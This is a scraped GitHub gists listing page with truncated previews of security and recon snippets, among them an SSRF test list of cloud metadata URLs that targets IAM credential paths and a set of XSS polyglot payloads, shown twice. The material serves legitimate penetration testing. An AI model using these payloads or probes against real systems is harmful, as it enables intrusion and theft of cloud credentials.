vavkamil’s gists

willurd / web-servers.md

Last active January 27, 2026 10:16

Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000

szolotykh / twitter-post.py

Created January 29, 2015 16:52

Script post on twitter message and image with tweepy

	import tweepy
	import os

	# Consumer keys and access tokens, used for OAuth
	consumer_key = ''
	consumer_secret = ''
	access_token = ''
	access_token_secret = ''

	# OAuth process, using the keys and tokens

BuffaloWill / cloud_metadata.txt

Last active January 22, 2026 16:44

Cloud Metadata Dictionary useful for SSRF Testing

	## IPv6 Tests
	http://[::ffff:169.254.169.254]
	http://[0:0:0:0:0:ffff:169.254.169.254]

	## AWS
	# Amazon Web Services (No Header Required)
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
	http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]

mccabe615 / InterviewQuestions.md

Last active September 2, 2022 00:48

AppSec Interview Questions

What draws you to appsec?
Explain a situation that you worked with a developer on.
What is your general process for testing an application, and what can you test for if only given the URL to the login page?
How do you stay current with the security industry?
What do you do besides security and technology for fun?
What are two ways to exploit response splitting?
How would you fix response splitting?
How do the git and svn models differ?
What does git branch -a branchname do?
What is continous deployment?

dogrocker / Wireless Penetration Testing Cheat Sheet.md

Created July 2, 2016 18:30

Wireless Penetration Testing Cheat Sheet

#Wireless Penetration Testing Cheat Sheet

##WIRELESS ANTENNA

Open the Monitor Mode

root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up

jhaddix / all.txt

Last active January 27, 2026 02:14

all wordlists from every dns enumeration tool... ever. Please excuse the lewd entries =/

This file has been truncated, but you can view the full file.


	.
	..
	........
	@
	*
	.
	..*
	ðŸŽ

michenriksen / xss-polyglots.txt

Created October 31, 2018 14:10

XSS Polyglot payloads

	javascript:"/'/`/--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/<svg/*/onload=alert()//>
	javascript:"/'/`/\" /</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/<html//onmouseover=alert()//>
	javascript:"/\"/`/' /</template></textarea></noembed></noscript></title></style></script>--><svg onload=/<html//onmouseover=alert()//>
	javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/--><html / onmouseover=alert()//'>`
	javascript:`/\"/--><svg onload='/</template></noembed></noscript></style></title></textarea></script><html onmouseover="/*/ alert()//'">`
	javascript:"/'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame / onload=alert()//</script>
	javascript:"/`/\"/'/</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/<i<frame// onload=alert()//</Script>
	javascript:`</template>\"///"//<

EdOverflow / hiring.txt

Created May 18, 2019 10:22

	$ curl -s "https://crawler.ninja/files/security-txt-values.txt" \| grep -i "hiring: http" \| sed 's/^#//g' \| awk '{print $2}'
	https://www.tumblr.com/jobs
	https://kariera.shoptet.cz/
	https://g.co/SecurityPrivacyEngJobs
	https://www.shopify.com/careers
	https://solarwinds.jobs
	https://www.chcidozootu.cz/it-devel/
	https://careerssearch.bbc.co.uk/jobs/search
	https://www.npmjs.com/jobs
	https://grab.careers/

pascalschulz / getGithubRepoCloneUrls.py

Last active November 12, 2020 13:42

This code snippet takes a Github organization name as input, crawls for all its public repositories and returns a list of all the "Git clone URLs" for those repos.

	import itertools
	import re
	import requests as rq

	# Your Github organization (e.g. /Github)
	organization = "/<company_name>"

	response = rq.request("GET", "https://github.com{0}".format(organization))

	try:

marzavec / run.js

Created August 8, 2019 16:43

Browser-based subdomain bruteforcing using DNS over HTTP(s) (DoH)

	/*
	Developer: Marzavec ( https://github.com/marzavec )
	Description: A simple browser-based subdomain bruteforcing script, using DoH providers. Developed as a 5 minute hack, just to see it's preformance. Many improvements could be made, such as adding error handling or informing the user when the script is done.
	Usage: Open the browsers dev console (usually F12), paste this script, change the `rootTld`, press enter to run. Ezpz.
	*/

	const rootTld = 'lyka.pro'; // change to your target's root tld

	// url to newline seperated wordlist
	const wordlistUrl = 'https://raw.githubusercontent.com/rbsec/dnscan/master/subdomains.txt';

	javascript:"/'/`/--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/<svg/*/onload=alert()//>
	javascript:"/'/`/\" /</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/<html//onmouseover=alert()//>
	javascript:"/\"/`/' /</template></textarea></noembed></noscript></title></style></script>--><svg onload=/<html//onmouseover=alert()//>
	javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/--><html / onmouseover=alert()//'>`
	javascript:`/\"/--><svg onload='/</template></noembed></noscript></style></title></textarea></script><html onmouseover="/*/ alert()//'">`
	javascript:"/'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame / onload=alert()//</script>
	javascript:"/`/\"/'/</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/<i<frame// onload=alert()//</Script>
	javascript:`</template>\"///"//<

Kamil Vavra vavkamil

Python 2.x